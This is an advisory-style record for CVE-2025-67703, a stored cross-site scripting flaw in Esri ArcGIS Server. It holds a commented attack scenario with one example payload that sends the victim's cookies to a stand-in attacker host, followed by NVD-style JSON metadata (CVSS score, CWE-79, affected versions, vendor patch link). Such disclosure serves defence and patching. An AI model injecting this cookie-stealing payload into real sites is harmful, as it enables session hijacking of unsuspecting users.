CVE-2025-67703

// Generic PoC description - XSS in file upload context // Note: This is for educational purposes only // Attack scenario: // 1. Attacker uploads a file containing malicious JavaScript // 2. File is stored on the server without proper sanitization // 3. Victim accesses the uploaded file // 4. Malicious script executes in victim's browser // Example malicious payload (conceptual): // <script>document.location='https://attacker.com/steal?cookie='+document.cookie</script> // Mitigation: Implement proper input validation, output encoding, and Content Security Policy

{"cve": {"id": "CVE-2025-67703", "sourceIdentifier": "[email protected]", "published": "2025-12-31T23:15:40.540", "lastModified": "2026-01-06T19:15:11.537", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "There is a stored cross site scripting issue in Esri ArcGIS Server 11.4 and earlier on Windows and Linux that in some configurations allows a remote unauthenticated attacker to store files that contain malicious code that may execute in the context of a victim’s browser."}, {"lang": "es", "value": "Existe un problema de scripting entre sitios almacenado en Esri ArcGIS Server 11.4 y versiones anteriores en Windows y Linux que en algunas configuraciones permite a un atacante remoto no autenticado almacenar archivos que contienen código malicioso que podría ejecutarse en el contexto del navegador de una víctima."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:esri:arcgis_server:*:*:*:*:*:*:*:*", "versionEndIncluding": "11.5", "matchCriteriaId": "EC44DA7C-0CB3-4D79-B502-2B26954DB4DC"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*", "matchCriteriaId": "703AF700-7A70-47E2-BC3A-7FD03B3CA9C1"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://www.esri.com/arcgis-blog/products/trust-arcgis/administration/arcgis-server-security-2025-update-2-patch", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory"]}]}}